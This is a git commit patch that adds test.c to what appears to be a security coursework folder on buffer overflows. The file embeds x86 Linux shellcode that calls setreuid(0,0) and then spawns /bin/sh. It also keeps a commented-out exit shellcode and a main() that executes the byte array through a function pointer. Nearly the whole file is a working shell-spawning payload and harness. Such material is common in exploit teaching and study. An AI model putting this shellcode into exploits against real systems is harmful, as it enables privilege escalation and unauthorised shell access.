From 45ec0c7e1bfd251e13f4d3ade89785e98df31ba9 Mon Sep 17 00:00:00 2001 From: Guillermo Ramos Date: Mon, 27 May 2013 00:07:01 +0200 Subject: start --- c_seguridad/code/bof/test.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 c_seguridad/code/bof/test.c (limited to 'c_seguridad/code/bof/test.c') diff --git a/c_seguridad/code/bof/test.c b/c_seguridad/code/bof/test.c new file mode 100644 index 0000000..c88c260 --- /dev/null +++ b/c_seguridad/code/bof/test.c @@ -0,0 +1,15 @@ +char shellcode[] = +"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x31\xc0\x5b" +"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" +"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" +"\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42"; + +//char shellcode[] = +//"\x31\xc0\xb0\x01\x31\xdb\xb3\x7b\xcd\x80"; + + +int main() { + int (*func)(); + func = (int (*)()) shellcode; + (*func)(); +} -- cgit v1.2.3